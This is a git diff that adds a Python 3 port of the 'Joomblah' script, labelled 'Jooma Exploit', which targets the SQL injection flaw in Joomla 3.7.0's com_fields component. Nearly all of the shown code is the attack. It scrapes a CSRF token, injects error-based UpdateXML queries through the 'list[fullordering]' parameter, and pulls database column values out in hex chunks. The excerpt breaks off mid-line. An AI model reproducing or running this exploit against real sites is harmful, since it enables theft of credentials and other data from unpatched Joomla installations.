diff --git a/Joomblah/joomblah_py3.py b/Joomblah/joomblah_py3.py new file mode 100755 index 0000000..9e74f09 --- /dev/null +++ b/Joomblah/joomblah_py3.py @@ -0,0 +1,186 @@ +#!/usr/bin/python3 +from __future__ import print_function +import requests +import sys +import re +import argparse +import os +import random +import time +import binascii + + +def extract_token(resp): + match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) + if match is None: + print(" [!] Cannot find CSRF token") + return None + return match.group(1) + + +def parse_options(): + parser = argparse.ArgumentParser(description='Jooma Exploit') + parser.add_argument('url', help='Base URL for Joomla site') + return parser.parse_args() + + +def build_sqli(colname, morequery): + return "(SELECT " + colname + " " + morequery + ")" + +def joomla_370_sqli_extract(options, sess, token, colname, morequery): + sqli = build_sqli("LENGTH("+colname+")", morequery) + length = joomla_370_sqli(options, sess, token, sqli) + if not length: + return None + length = int(length) + maxbytes = 30 + offset = 0 + result = '' + while length > offset: + sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery) + value = joomla_370_sqli(options, sess, token, sqli) + if not value: + print(" [!] Failed to retrieve string for query:", sqli) + return None + value = binascii.unhexlify(value) + result += str(value)[2:-1] + offset += len(value) + return result + + +def joomla_370_sqli(options, sess, token, sqli): + sqli_full = "UpdateXML(2, concat(0x3a," + sqli + ", 0x3a), 1)" + data = { + 'option': 'com_fields', + 'view': 'fields', + 'layout': 'modal', + 'list[fullordering]': sqli_full, + token: '1', + } + resp = sess.get(options.url + "/index.php?option=com_fields&view=fields&layout=modal", params=data, allow_redirects=False) + match = re.search(r'XPATH syntax error:\s*'([^$\n]+)\s*'\s*